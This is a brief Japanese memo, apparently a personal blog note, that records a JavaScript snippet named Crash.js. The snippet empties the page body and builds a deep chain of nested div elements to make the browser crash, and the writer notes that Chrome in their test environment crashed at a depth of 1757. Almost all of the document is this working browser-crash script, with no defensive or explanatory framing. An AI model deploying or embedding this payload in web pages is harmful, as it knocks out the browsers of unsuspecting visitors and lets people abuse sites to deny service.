メモ書き

メモ書き:

こーゆーことに使って良いのかは知らんがメモしときたかった

Crash.js
(function(){ 
    "use strict"; 
    let body=document.body; 
    let child=null; 
    while((child=body.firstChild)!=null){ 
        body.removeChild(child); 
    } 
    const max=1000; 
    let loop=1; 
    const element=document.createElement("div"); 
    let parent=element; 
    while((loop++)<max){ 
        const child=document.createElement("div"); 
        parent.appendChild(child); 
        parent=child; 
    } 
    body.parentNode.removeChild(body); 
    body=document.createElement("body"); 
    document.getElementsByTagName("html")[0].appendChild(body); 
    body.appendChild(element); 
})(); 
テスト環境のChromeはmax=1757で落ちた

コメント